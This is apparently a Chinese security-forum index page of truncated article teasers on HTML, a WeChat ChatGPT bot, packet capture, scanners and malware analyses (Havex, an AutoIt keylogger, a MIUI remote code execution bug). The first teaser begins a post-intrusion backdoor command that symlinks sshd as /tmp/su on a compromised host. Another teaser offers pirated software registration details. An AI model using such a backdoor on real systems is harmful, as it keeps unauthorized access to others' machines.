入侵得到SHELL后，对方防火墙没限制，想快速开放一个可以访问的SSH端口肉鸡上执行mickey@vic:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su&n...
网络安全
网络安全
编程茶楼
html考虑<pre>标签的样式
可能正在使用 <pre> 标签。这是一个 HTML 中非常特别的标签，它允许其中的空格真正显示出来。例如：四个空格将真实显示成四个空格。这不同于其他标签通常的做法，其他...
技术
微信公众号对接chatGPT
1 前言 基于近段时间很火的ChatGPT-API来实现一个微信公众号智能问答机器人。（注：该项目开发并不复杂，但是需要的前提条件较多，需要有一定经验的开发人员才能吃透这篇文章） 2 准备工作 注册C...
关于手机抓包的一些问题
我是用手机设置代理 然后本机用burp来抓包的 我发现这种方法很多时候抓不到APP的包 有没有什么更好的办法？ 求指点！1#zhangfei | 2015-03-25 0...
神兵利刃
CMS指纹识别工具
首先看下界面吧提交任务：Lib和static目录均是框架自带的.css和.js文件Include目录下config.inc.php数据库配置文件Sql文件打包，自行修改登录账号baozi/baozi1...
神兵利刃
O&O DiskRecovery 12注册信息
软件下载：http://sqdownb.onlinedown.net/down/OODiskRecovery.rar 以上该压缩包中注册信息无法使用，使用以下注册信息：注册信息 ...
漏洞分享
小米手机MIUI远程代码执行漏洞分析
7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞。通过该漏洞可以远程获取本地APP的权限，突破本地漏洞和远程漏洞的界限，使本地app的漏洞远程也能被利用，达到...
硬件安全
Havex：以工控设备为狩猎目标的恶意软件
在过去一年，我们对Havex恶意程序家族及其背后的组织保持了高度的关注。Havex被认为以不同工业领域为目标进行攻击的恶意软件，并且在最初的报告中，该恶意软件对能源行业尤为感兴趣。Havex的主要构成...
逆向工程
AutoIt木马第二发：键盘记录木马分析
近日，一种新型木马被发现，该恶意软件到目前为止已经感染了数十万计算机，而且感染是世界范围的。据称，其主要窃取被感染者的社交网络账户信息和银行账户的登录凭证。本文是关于这个木马进行的一次分析。 几天以前...
神兵利刃
BugScan：重新定义扫描器
BugScan是国内第一款社区化的扫描器，我们正在塑造安全界高质量的圈子;(https://www.bugscan.net/#)历时四年，经历了五次代码重构，我们重新定义了扫描器的概念；Golang+...
